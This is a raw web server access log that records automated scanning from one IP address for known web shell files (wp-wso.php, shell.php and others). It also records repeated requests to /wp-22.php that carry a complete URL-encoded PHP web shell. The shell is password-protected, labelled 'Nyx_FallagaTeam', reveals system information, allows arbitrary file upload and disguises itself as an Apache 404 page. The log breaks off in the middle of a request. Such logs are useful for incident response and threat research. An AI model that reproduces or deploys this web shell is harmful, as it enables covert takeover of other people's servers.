[19/Jan/2025:18:52:52 +0530] "GET /wp-wso.php HTTP/1.1" 302 230 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:52 +0530] "GET /FoxWSO.php HTTP/1.1" 302 230 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:55 +0530] "GET /wp-admin/wp.php HTTP/1.1" 302 235 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:53:02 +0530] "GET /q.php HTTP/1.1" 302 225 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:53:02 +0530] "GET /jindex.php HTTP/1.1" 302 230 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:53:03 +0530] "GET /wp-admin/css/colors/ocean/template.php HTTP/1.1" 302 258 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:53:04 +0530] "GET /wp-includes/css/wp-atom.php HTTP/1.1" 302 247 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:53:05 +0530] "GET /wp-includes/about.php HTTP/1.1" 302 241 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:53:05 +0530] "GET /wp-includes/pomo/shellwso.php HTTP/1.1" 302 249 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:53:05 +0530] "GET /ms.php HTTP/1.1" 302 226 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:53:05 +0530] "GET /lufix.php HTTP/1.1" 302 229 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:53:05 +0530] "GET /modules/xxxxxxxxxxxxxxxxxxxxxxxxxxxx.php HTTP/1.1" 302 260 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:53:05 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:53:06 +0530] "GET /wp-content/plugins/theme-configurator/mini.php HTTP/1.1" 302 266 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:53:06 +0530] "GET /shell.php HTTP/1.1" 302 229 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:53:06 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:53:08 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:53:08 +0530] "GET /s.php HTTP/1.1" 302 225 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:53:08 +0530] "GET /templates/xxxxxxxxxxxxxxxxxxxxxxxxxxxx.php HTTP/1.1" 302 262 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:53:08 +0530] "GET /Gel.php HTTP/1.1" 302 227 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:53:09 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:53:09 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:53:09 +0530] "GET /r.php HTTP/1.1" 302 225 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:53:10 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:53:10 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:53:11 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:53:12 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:53:14 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:53:16 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&sup